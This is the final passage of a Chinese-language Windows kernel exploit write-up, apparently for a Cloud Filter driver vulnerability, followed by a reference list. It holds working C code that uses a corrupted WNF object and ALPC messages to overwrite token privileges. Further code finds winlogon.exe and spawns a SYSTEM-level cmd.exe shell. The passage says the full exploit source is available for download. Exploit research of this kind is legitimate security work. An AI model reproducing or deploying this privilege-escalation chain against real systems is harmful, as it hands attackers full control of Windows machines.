结构 (同样在用户空间),并将ExtensionBuffer
设置为我们想要写入的目标位置!

Memory 7

在这种情况下,我们将ExtensionBuffer
设置为令牌权限 (位于偏移量 0x40 处),并将ExtensionBufferSize
设置为 0x10,这样我们就可以写入 16 个\xff
来启用所有权限:

    printf("[+] Using WNF object 1 to overwrite KALPC_RESERVE\n");
    memset(StateData, 0x0, sizeof(StateData)); 
    memset(StateData, 0x48, 0x200); // Just so that it is easier to see the object
    *(unsigned long long *)(StateData + 0xff0) = (unsigned long long)fakeKalpcReserve;
    state = NtUpdateWnfStateData(&StateNames[CorruptedWNFidx], StateData, 0xff8, NULL, NULL, 0xcafe, NULL); 

    printf("[+] Overwriting token privs\n"); 
    ULONG DataLength = 0x10;
 ALPC_MESSAGE* alpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));
    memset(alpcMessage, 0, sizeof(ALPC_MESSAGE));
    alpcMessage->PortHeader.u1.s1.DataLength = DataLength;
    alpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
    alpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
 ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)alpcMessage + sizeof(PORT_MESSAGE));
    pAlpcMsgData[0] = 0xffffffffffffffff;
    pAlpcMsgData[1] = 0xffffffffffffffff;

    for (int i = 0; i < portsCount; i++) {
        ret = NtAlpcSendWaitReceivePort(ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)alpcMessage, NULL, NULL, NULL, NULL, NULL);
    }

完成这些之后,我们只需要找到 winlogon 进程的 PID,获取该进程的句柄,然后使用该句柄创建一个 cmd.exe 进程,就可以获得一个 NT AUTHORITY\SYSTEM 权限的 shell!

    // Find PID of winlogon
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    HANDLE winlogon_process = 0; 

    if (Process32First(snapshot, &entry) == TRUE) {
        while (Process32Next(snapshot, &entry) == TRUE) {
            if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0) {  
                winlogon_process = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, entry.th32ProcessID);
                printf("[+] Found winlogon: 0x%lx\n", winlogon_process); 
            }
        }
    }
    printf("[+] SHELLZ\n");
    CreateProcessFromHandle(winlogon_process);

漏洞利用演示

以下是漏洞利用程序运行时的效果:

漏洞利用源代码可以在
这里
获取。

参考资料

  1. Windows Cloud Filter API documentation: 
    https://learn.microsoft.com/en-us/windows/win32/api/_cloudapi/

  2. Placeholder files: 
    https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/placeholders

  3. Reparse points: 
    https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/reparse-points

  4. Windows structs: 
    https://www.vergiliusproject.com/

  5. Cloud filter reparse data structs: 
    https://github.com/ladislav-zezula/FileTest/blob/master/ReparseDataHsm.h

  6. ALPC technique by Xu, Song and Li: 
    https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Xu-The-Next-Generation-of-Windows-Exploitation-Attacking-the-Common-Log-File-System.pdf

  7. PipeAttribute technqiue by Bayet and Fariello: 
    https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

  8. Windows kernel heap by Angelboy: 
    https://speakerdeck.com/scwuaptx/windows-kernel-heap-segment-heap-in-windows-kernel-part-1

  9. Exploitation of CVE-2023-36424 using ALPC and PipeAttributes, and for ALPC heap spray code: 
    https://github.com/zerozenxlabs/CVE-2023-36424

  10. WNF heap spray: 
    https://www.cnblogs.com/feizianquan/p/16089929.html

  11. Spawning process from handle: 
    https://github.com/varwara/CVE-2024-35250/blob/main/CVE-2024-35250.cpp